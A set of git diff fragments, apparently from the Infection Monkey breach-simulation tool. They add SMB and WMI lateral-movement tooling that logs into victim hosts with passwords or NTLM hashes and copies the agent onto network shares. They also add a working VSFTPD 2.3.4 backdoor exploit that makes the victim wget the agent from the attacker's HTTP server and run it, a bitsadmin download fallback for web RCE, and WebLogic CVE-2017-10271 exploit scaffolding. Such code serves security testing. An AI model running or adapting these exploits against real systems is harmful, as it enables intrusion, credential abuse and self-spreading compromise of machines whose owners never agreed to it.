|
||||
raise RuntimeError("Can't stop http server that wasn't started!")
|
||||
self.http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
self.http_thread.stop()
|
|
@ -0,0 +1,63 @@
|
|||
import logging
|
||||
import textwrap
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class Payload(object):
|
||||
"""
|
||||
Class for defining and parsing a payload (commands with prefixes/suffixes)
|
||||
"""
|
||||
|
||||
def __init__(self, command, prefix="", suffix=""):
|
||||
self.command = command
|
||||
self.prefix = prefix
|
||||
self.suffix = suffix
|
||||
|
||||
def get_payload(self, command=""):
|
||||
"""
|
||||
Returns prefixed and suffixed command (payload)
|
||||
:param command: Command to suffix/prefix. If no command is passed than objects' property is used
|
||||
:return: prefixed and suffixed command (full payload)
|
||||
"""
|
||||
if not command:
|
||||
command = self.command
|
||||
return "{}{}{}".format(self.prefix, command, self.suffix)
|
||||
|
||||
|
||||
class LimitedSizePayload(Payload):
|
||||
"""
|
||||
Class for defining and parsing commands/payloads
|
||||
"""
|
||||
|
||||
def __init__(self, command, max_length, prefix="", suffix=""):
|
||||
"""
|
||||
:param command: command
|
||||
:param max_length: max length that payload(prefix + command + suffix) can have
|
||||
:param prefix: commands prefix
|
||||
:param suffix: commands suffix
|
||||
"""
|
||||
super(LimitedSizePayload, self).__init__(command, prefix, suffix)
|
||||
self.max_length = max_length
|
||||
|
||||
def is_suffix_and_prefix_too_long(self):
|
||||
return self.payload_is_too_long(self.suffix + self.prefix)
|
||||
|
||||
def split_into_array_of_smaller_payloads(self):
|
||||
if self.is_suffix_and_prefix_too_long():
|
||||
raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already "
|
||||
"exceeds required length of command.")
|
||||
|
||||
elif self.command == "":
|
||||
return [self.prefix+self.suffix]
|
||||
wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
|
||||
commands = [self.get_payload(part)
|
||||
for part
|
||||
in wrapper.wrap(self.command)]
|
||||
return commands
|
||||
|
||||
def get_max_sub_payload_length(self):
|
||||
return self.max_length - len(self.prefix) - len(self.suffix)
|
||||
|
||||
def payload_is_too_long(self, command):
|
||||
return len(command) >= self.max_length
|
|
@ -0,0 +1,32 @@
|
|||
from unittest import TestCase
|
||||
from payload_parsing import Payload, LimitedSizePayload
|
||||
|
||||
|
||||
class TestPayload(TestCase):
|
||||
def test_get_payload(self):
|
||||
test_str1 = "abc"
|
||||
test_str2 = "atc"
|
||||
payload = Payload(command="b", prefix="a", suffix="c")
|
||||
assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2
|
||||
|
||||
def test_is_suffix_and_prefix_too_long(self):
|
||||
pld_fail = LimitedSizePayload("b", 2, "a", "c")
|
||||
pld_success = LimitedSizePayload("b", 3, "a", "c")
|
||||
assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long()
|
||||
|
||||
def test_split_into_array_of_smaller_payloads(self):
|
||||
test_str1 = "123456789"
|
||||
pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix")
|
||||
array1 = pld1.split_into_array_of_smaller_payloads()
|
||||
test1 = bool(array1[0] == "prefix1234suffix" and
|
||||
array1[1] == "prefix5678suffix" and
|
||||
array1[2] == "prefix9suffix")
|
||||
|
||||
test_str2 = "12345678"
|
||||
pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix")
|
||||
array2 = pld2.split_into_array_of_smaller_payloads()
|
||||
test2 = bool(array2[0] == "prefix1234suffix" and
|
||||
array2[1] == "prefix5678suffix" and len(array2) == 2)
|
||||
|
||||
assert test1 and test2
|
||||
|
|
@ -0,0 +1,238 @@
|
|||
import logging
|
||||
import ntpath
|
||||
import pprint
|
||||
|
||||
from impacket.dcerpc.v5 import transport, srvs
|
||||
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
||||
|
||||
import infection_monkey.config
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.config import Configuration
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class SmbTools(object):
|
||||
|
||||
@staticmethod
|
||||
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||
config = infection_monkey.config.WormConfiguration
|
||||
src_file_size = monkeyfs.getsize(src_path)
|
||||
|
||||
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||
if not smb:
|
||||
return None
|
||||
|
||||
# skip guest users
|
||||
if smb.isGuestSession() > 0:
|
||||
LOG.debug("Connection to %r granted guest privileges with user: %s, password (SHA-512): '%s',"
|
||||
" LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
|
||||
host,
|
||||
username,
|
||||
Configuration.hash_sensitive_data(password),
|
||||
Configuration.hash_sensitive_data(lm_hash),
|
||||
Configuration.hash_sensitive_data(ntlm_hash))
|
||||
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error requesting server info from %r over SMB: %s",
|
||||
host, exc)
|
||||
return None
|
||||
|
||||
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
|
||||
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
|
||||
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
|
||||
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
|
||||
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
|
||||
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
|
||||
|
||||
LOG.debug("Connected to %r using %s:\n%s",
|
||||
host, dialect, pprint.pformat(info))
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error enumerating server shares from %r over SMB: %s",
|
||||
host, exc)
|
||||
return None
|
||||
|
||||
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
|
||||
|
||||
high_priority_shares = ()
|
||||
low_priority_shares = ()
|
||||
file_name = ntpath.split(dst_path)[-1]
|
||||
|
||||
for i in range(len(resp)):
|
||||
share_name = resp[i]['shi2_netname'].strip("\0 ")
|
||||
share_path = resp[i]['shi2_path'].strip("\0 ")
|
||||
current_uses = resp[i]['shi2_current_uses']
|
||||
max_uses = resp[i]['shi2_max_uses']
|
||||
|
||||
if current_uses >= max_uses:
|
||||
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
|
||||
share_name, host)
|
||||
continue
|
||||
elif not share_path:
|
||||
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
|
||||
share_name, host)
|
||||
continue
|
||||
|
||||
share_info = {'share_name': share_name,
|
||||
'share_path': share_path}
|
||||
|
||||
if dst_path.lower().startswith(share_path.lower()):
|
||||
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
|
||||
|
||||
low_priority_shares += ((ntpath.sep + file_name, share_info),)
|
||||
|
||||
shares = high_priority_shares + low_priority_shares
|
||||
|
||||
file_uploaded = False
|
||||
for remote_path, share in shares:
|
||||
share_name = share['share_name']
|
||||
share_path = share['share_path']
|
||||
|
||||
if not smb:
|
||||
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||
if not smb:
|
||||
return None
|
||||
|
||||
try:
|
||||
tid = smb.connectTree(share_name)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
|
||||
share_name, host, exc)
|
||||
continue
|
||||
|
||||
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
|
||||
share_name, share_path, remote_path, host.ip_addr[0], )
|
||||
|
||||
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
|
||||
|
||||
# check if file is found on destination
|
||||
if config.skip_exploit_if_file_exist:
|
||||
try:
|
||||
file_info = smb.listPath(share_name, remote_path)
|
||||
if file_info:
|
||||
if src_file_size == file_info[0].get_filesize():
|
||||
LOG.debug("Remote monkey file is same as source, skipping copy")
|
||||
return remote_full_path
|
||||
|
||||
LOG.debug("Remote monkey file is found but different, moving along with attack")
|
||||
except:
|
||||
pass # file isn't found on remote victim, moving on
|
||||
|
||||
try:
|
||||
with monkeyfs.open(src_path, 'rb') as source_file:
|
||||
# make sure of the timeout
|
||||
smb.setTimeout(timeout)
|
||||
smb.putFile(share_name, remote_path, source_file.read)
|
||||
|
||||
file_uploaded = True
|
||||
T1105Telem(ScanStatus.USED,
|
||||
get_interface_to_target(host.ip_addr),
|
||||
host.ip_addr,
|
||||
dst_path).send()
|
||||
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
|
||||
src_path, share_name, share_path, host)
|
||||
|
||||
break
|
||||
except Exception as exc:
|
||||
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
|
||||
share_name, host, exc)
|
||||
T1105Telem(ScanStatus.SCANNED,
|
||||
get_interface_to_target(host.ip_addr),
|
||||
host.ip_addr,
|
||||
dst_path).send()
|
||||
continue
|
||||
finally:
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
smb = None
|
||||
|
||||
if not file_uploaded:
|
||||
LOG.debug("Couldn't find a writable share for exploiting victim %r with "
|
||||
"username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
|
||||
host,
|
||||
username,
|
||||
Configuration.hash_sensitive_data(password),
|
||||
Configuration.hash_sensitive_data(lm_hash),
|
||||
Configuration.hash_sensitive_data(ntlm_hash))
|
||||
return None
|
||||
|
||||
return remote_full_path
|
||||
|
||||
@staticmethod
|
||||
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||
try:
|
||||
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 445 failed,"
|
||||
" trying port 139 (%s)", host, exc)
|
||||
|
||||
try:
|
||||
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
|
||||
host, exc)
|
||||
return None, None
|
||||
|
||||
dialect = {SMB_DIALECT: "SMBv1",
|
||||
SMB2_DIALECT_002: "SMBv2.0",
|
||||
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
|
||||
|
||||
# we know this should work because the WMI connection worked
|
||||
try:
|
||||
smb.login(username, password, '', lm_hash, ntlm_hash)
|
||||
except Exception as exc:
|
||||
LOG.debug(
|
||||
"Error while logging into %r using user: %s, password (SHA-512): '%s', "
|
||||
"LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s",
|
||||
host,
|
||||
username,
|
||||
Configuration.hash_sensitive_data(password),
|
||||
Configuration.hash_sensitive_data(lm_hash),
|
||||
Configuration.hash_sensitive_data(ntlm_hash),
|
||||
exc)
|
||||
return None, dialect
|
||||
|
||||
smb.setTimeout(timeout)
|
||||
return smb, dialect
|
||||
|
||||
@staticmethod
|
||||
def execute_rpc_call(smb, rpc_func, *args):
|
||||
dce = SmbTools.get_dce_bind(smb)
|
||||
rpc_method_wrapper = getattr(srvs, rpc_func, None)
|
||||
if not rpc_method_wrapper:
|
||||
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
|
||||
|
||||
return rpc_method_wrapper(dce, *args)
|
||||
|
||||
@staticmethod
|
||||
def get_dce_bind(smb):
|
||||
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
|
||||
smb.getRemoteHost(),
|
||||
filename=r'\srvsvc',
|
||||
smb_connection=smb)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(srvs.MSRPC_UUID_SRVS)
|
||||
|
||||
return dce
|
|
@ -0,0 +1,150 @@
|
|||
import logging
|
||||
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class DceRpcException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class AccessDeniedException(Exception):
|
||||
def __init__(self, host, username, password, domain):
|
||||
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
|
||||
(host, domain, username, password))
|
||||
|
||||
|
||||
class WmiTools(object):
|
||||
class WmiConnection(object):
|
||||
def __init__(self):
|
||||
self._dcom = None
|
||||
self._iWbemServices = None
|
||||
|
||||
@property
|
||||
def connected(self):
|
||||
return self._dcom is not None
|
||||
|
||||
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
|
||||
if not domain:
|
||||
domain = host.ip_addr
|
||||
|
||||
dcom = DCOMConnection(host.ip_addr,
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
oxidResolver=True)
|
||||
|
||||
try:
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
|
||||
wmi.IID_IWbemLevel1Login)
|
||||
except Exception as exc:
|
||||
dcom.disconnect()
|
||||
|
||||
if "rpc_s_access_denied" == exc.message:
|
||||
raise AccessDeniedException(host, username, password, domain)
|
||||
|
||||
raise
|
||||
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
|
||||
try:
|
||||
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
self._dcom = dcom
|
||||
except:
|
||||
dcom.disconnect()
|
||||
|
||||
raise
|
||||
finally:
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
def close(self):
|
||||
assert self.connected, "WmiConnection isn't connected"
|
||||
|
||||
self._iWbemServices.RemRelease()
|
||||
self._iWbemServices = None
|
||||
|
||||
self._dcom.disconnect()
|
||||
self._dcom = None
|
||||
|
||||
@staticmethod
|
||||
def dcom_wrap(func):
|
||||
def _wrapper(*args, **kwarg):
|
||||
try:
|
||||
return func(*args, **kwarg)
|
||||
finally:
|
||||
WmiTools.dcom_cleanup()
|
||||
|
||||
return _wrapper
|
||||
|
||||
@staticmethod
|
||||
def dcom_cleanup():
|
||||
for port_map in DCOMConnection.PORTMAPS.keys():
|
||||
del DCOMConnection.PORTMAPS[port_map]
|
||||
for oid_set in DCOMConnection.OID_SET.keys():
|
||||
del DCOMConnection.OID_SET[port_map]
|
||||
|
||||
DCOMConnection.OID_SET = {}
|
||||
DCOMConnection.PORTMAPS = {}
|
||||
if DCOMConnection.PINGTIMER:
|
||||
DCOMConnection.PINGTIMER.cancel()
|
||||
DCOMConnection.PINGTIMER.join()
|
||||
DCOMConnection.PINGTIMER = None
|
||||
|
||||
@staticmethod
|
||||
def get_object(wmi_connection, object_name):
|
||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||
assert wmi_connection.connected, "WmiConnection isn't connected"
|
||||
|
||||
return wmi_connection._iWbemServices.GetObject(object_name)[0]
|
||||
|
||||
@staticmethod
|
||||
def list_object(wmi_connection, object_name, fields=None, where=None):
|
||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||
assert wmi_connection.connected, "WmiConnection isn't connected"
|
||||
|
||||
if fields:
|
||||
fields_query = ",".join(fields)
|
||||
else:
|
||||
fields_query = "*"
|
||||
|
||||
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
|
||||
|
||||
if where:
|
||||
wql_query += " WHERE %s" % (where,)
|
||||
|
||||
LOG.debug("Execution WQL query: %r", wql_query)
|
||||
|
||||
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
|
||||
|
||||
query = []
|
||||
try:
|
||||
while True:
|
||||
try:
|
||||
next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
|
||||
record = next_item.getProperties()
|
||||
|
||||
if not fields:
|
||||
fields = record.keys()
|
||||
|
||||
query_record = {}
|
||||
for key in fields:
|
||||
query_record[key] = record[key]['value']
|
||||
|
||||
query.append(query_record)
|
||||
except DCERPCSessionError as exc:
|
||||
if 1 == exc.error_code:
|
||||
break
|
||||
|
||||
raise
|
||||
finally:
|
||||
iEnumWbemClassObject.RemRelease()
|
||||
|
||||
return query
|
|
@ -0,0 +1,149 @@
|
|||
"""
|
||||
Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit
|
||||
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|
||||
only vulnerable version is "2.3.4"
|
||||
"""
|
||||
|
||||
import socket
|
||||
import time
|
||||
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
|
||||
from logging import getLogger
|
||||
|
||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
__author__ = 'D3fa1t'
|
||||
|
||||
FTP_PORT = 21 # port at which vsftpd runs
|
||||
BACKDOOR_PORT = 6200 # backdoor port
|
||||
RECV_128 = 128 # In Bytes
|
||||
UNAME_M = "uname -m"
|
||||
ULIMIT_V = "ulimit -v " # To increase the memory limit
|
||||
UNLIMITED = "unlimited;"
|
||||
USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
|
||||
PASSWORD = b'PASS please' # Ftp Password
|
||||
FTP_TIME_BUFFER = 1 # In seconds
|
||||
|
||||
|
||||
class VSFTPDExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['linux']
|
||||
_EXPLOITED_SERVICE = 'VSFTPD'
|
||||
|
||||
def __init__(self, host):
|
||||
self._update_timestamp = 0
|
||||
super(VSFTPDExploiter, self).__init__(host)
|
||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||
|
||||
def socket_connect(self, s, ip_addr, port):
|
||||
try:
|
||||
s.connect((ip_addr, port))
|
||||
return True
|
||||
except socket.error as e:
|
||||
LOG.error('Failed to connect to %s', self.host.ip_addr)
|
||||
return False
|
||||
|
||||
def socket_send_recv(self, s, message):
|
||||
try:
|
||||
s.send(message)
|
||||
return s.recv(RECV_128).decode('utf-8')
|
||||
except socket.error as e:
|
||||
LOG.error('Failed to send payload to %s', self.host.ip_addr)
|
||||
return False
|
||||
|
||||
def socket_send(self, s, message):
|
||||
try:
|
||||
s.send(message)
|
||||
return True
|
||||
except socket.error as e:
|
||||
LOG.error('Failed to send payload to %s', self.host.ip_addr)
|
||||
return False
|
||||
|
||||
def _exploit_host(self):
|
||||
LOG.info("Attempting to trigger the Backdoor..")
|
||||
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
|
||||
ftp_socket.recv(RECV_128).decode('utf-8')
|
||||
|
||||
if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
|
||||
time.sleep(FTP_TIME_BUFFER)
|
||||
self.socket_send(ftp_socket, PASSWORD + '\n')
|
||||
ftp_socket.close()
|
||||
LOG.info('Backdoor Enabled, Now we can run commands')
|
||||
else:
|
||||
LOG.error('Failed to trigger backdoor on %s', self.host.ip_addr)
|
||||
return False
|
||||
|
||||
LOG.info('Attempting to connect to backdoor...')
|
||||
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
|
||||
LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
|
||||
|
||||
uname_m = str.encode(UNAME_M + '\n')
|
||||
response = self.socket_send_recv(backdoor_socket, uname_m)
|
||||
|
||||
if response:
|
||||
LOG.info('Response for uname -m: %s', response)
|
||||
if '' != response.lower().strip():
|
||||
# command execution is successful
|
||||
self.host.os['machine'] = response.lower().strip()
|
||||
self.host.os['type'] = 'linux'
|
||||
else:
|
||||
LOG.info("Failed to execute command uname -m on victim %r ", self.host)
|
||||
|
||||
src_path = get_target_monkey(self.host)
|
||||
LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
|
||||
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
# Create a http server to host the monkey
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
||||
dropper_target_path_linux = self._config.dropper_target_path_linux
|
||||
LOG.info("Download link for monkey is %s", http_path)
|
||||
|
||||
# Upload the monkey to the machine
|
||||
monkey_path = dropper_target_path_linux
|
||||
download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path}
|
||||
download_command = str.encode(str(download_command) + '\n')
|
||||
LOG.info("Download command is %s", download_command)
|
||||
if self.socket_send(backdoor_socket, download_command):
|
||||
LOG.info('Monkey is now Downloaded ')
|
||||
else:
|
||||
LOG.error('Failed to download monkey at %s', self.host.ip_addr)
|
||||
return False
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
||||
# Change permissions
|
||||
change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path}
|
||||
change_permission = str.encode(str(change_permission) + '\n')
|
||||
LOG.info("change_permission command is %s", change_permission)
|
||||
backdoor_socket.send(change_permission)
|
||||
T1222Telem(ScanStatus.USED, change_permission, self.host).send()
|
||||
|
||||
# Run monkey on the machine
|
||||
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
|
||||
|
||||
# Set unlimited to memory
|
||||
# we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
|
||||
run_monkey = ULIMIT_V + UNLIMITED + run_monkey
|
||||
run_monkey = str.encode(str(run_monkey) + '\n')
|
||||
time.sleep(FTP_TIME_BUFFER)
|
||||
if backdoor_socket.send(run_monkey):
|
||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
|
||||
self.host, run_monkey)
|
||||
self.add_executed_cmd(run_monkey)
|
||||
return True
|
||||
else:
|
||||
return False
|
|
@ -5,8 +5,12 @@ from abc import abstractmethod
|
|||
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.model import *
|
||||
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
|
||||
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
||||
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
|
||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
|
@ -64,7 +68,7 @@ class WebRCE(HostExploiter):
|
|||
|
||||
return exploit_config
|
||||
|
||||
def exploit_host(self):
|
||||
def _exploit_host(self):
|
||||
"""
|
||||
Method that contains default exploitation workflow
|
||||
:return: True if exploited, False otherwise
|
||||
|
@ -207,13 +211,12 @@ class WebRCE(HostExploiter):
|
|||
"""
|
||||
for url in urls:
|
||||
if self.check_if_exploitable(url):
|
||||
self.add_vuln_url(url)
|
||||
self.vulnerable_urls.append(url)
|
||||
if stop_checking:
|
||||
break
|
||||
if not self.vulnerable_urls:
|
||||
LOG.info("No vulnerable urls found, skipping.")
|
||||
# We add urls to param used in reporting
|
||||
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
|
||||
|
||||
def get_host_arch(self, url):
|
||||
"""
|
||||
|
@ -306,7 +309,8 @@ class WebRCE(HostExploiter):
|
|||
"""
|
||||
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
|
||||
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
||||
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
|
||||
backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
|
||||
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
|
||||
resp = self.exploit(url, backup_command)
|
||||
return resp
|
||||
|
||||
|
@ -336,7 +340,7 @@ class WebRCE(HostExploiter):
|
|||
command = self.get_command(paths['dest_path'], http_path, commands)
|
||||
|
||||
resp = self.exploit(url, command)
|
||||
|
||||
self.add_executed_cmd(command)
|
||||
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
|
@ -364,8 +368,10 @@ class WebRCE(HostExploiter):
|
|||
command = CHMOD_MONKEY % {'monkey_path': path}
|
||||
try:
|
||||
resp = self.exploit(url, command)
|
||||
T1222Telem(ScanStatus.USED, command, self.host).send()
|
||||
except Exception as e:
|
||||
LOG.error("Something went wrong while trying to change permission: %s" % e)
|
||||
T1222Telem(ScanStatus.SCANNED, "", self.host).send()
|
||||
return False
|
||||
# If exploiter returns True / False
|
||||
if type(resp) is bool:
|
||||
|
@ -406,6 +412,7 @@ class WebRCE(HostExploiter):
|
|||
# If exploiter returns True / False
|
||||
if type(resp) is bool:
|
||||
LOG.info("Execution attempt successfully finished")
|
||||
self.add_executed_cmd(command)
|
||||
return resp
|
||||
# If exploiter returns command output, we can check for execution errors
|
||||
if 'is not recognized' in resp or 'command not found' in resp:
|
||||
|
@ -418,6 +425,8 @@ class WebRCE(HostExploiter):
|
|||
LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
|
||||
return False
|
||||
LOG.info("Execution attempt finished")
|
||||
|
||||
self.add_executed_cmd(command)
|
||||
return resp
|
||||
|
||||
def get_monkey_upload_path(self, url_to_monkey):
|
||||
|
|
|
@ -1,3 +1,50 @@
|
|||
from __future__ import print_function
|
||||
import threading
|
||||
import logging
|
||||
import time
|
||||
import copy
|
||||
|
||||
from requests import post, exceptions
|
||||
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
||||
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
||||
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
# How long server waits for get request in seconds
|
||||
SERVER_TIMEOUT = 4
|
||||
# How long should we wait after each request in seconds
|
||||
REQUEST_DELAY = 0.1
|
||||
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
|
||||
REQUEST_TIMEOUT = 5
|
||||
# How long to wait for response in exploitation. In seconds
|
||||
EXECUTION_TIMEOUT = 15
|
||||
# Malicious requests' headers:
|
||||
HEADERS = {
|
||||
"Content-Type": "text/xml;charset=UTF-8",
|
||||
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
|
||||
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
|
||||
}
|
||||
|
||||
|
||||
class WebLogicExploiter(HostExploiter):
|
||||
|
||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||
_EXPLOITED_SERVICE = 'Weblogic'
|
||||
|
||||
def _exploit_host(self):
|
||||
exploiters = [WebLogic20192725, WebLogic201710271]
|
||||
for exploiter in exploiters:
|
||||
if exploiter(self.host).exploit_host():
|
||||
return True
|
||||
|
||||
|
||||
# Exploit based of:
|
||||
# Kevin Kirsche (d3c3pt10n)
|
||||
# https://github.com/kkirsche/CVE-2017-10271
|
||||
|
@ -5,56 +52,29 @@
|
|||
# Luffin from Github
|
||||
# https://github.com/Luffin/CVE-2017-10271
|
||||
# CVE: CVE-2017-10271
|
||||
class WebLogic201710271(WebRCE):
|
||||
URLS = ["/wls-wsat/CoordinatorPortType",
|
||||
"/wls-wsat/CoordinatorPortType11",
|
||||
"/wls-wsat/ParticipantPortType",
|
||||
"/wls-wsat/ParticipantPortType11",
|
||||
"/wls-wsat/RegistrationPortTypeRPC",
|
||||
"/wls-wsat/RegistrationPortTypeRPC11",
|
||||
"/wls-wsat/RegistrationRequesterPortType",
|
||||
"/wls-wsat/RegistrationRequesterPortType11"]
|
||||
|
||||
from requests import post, exceptions
|
||||
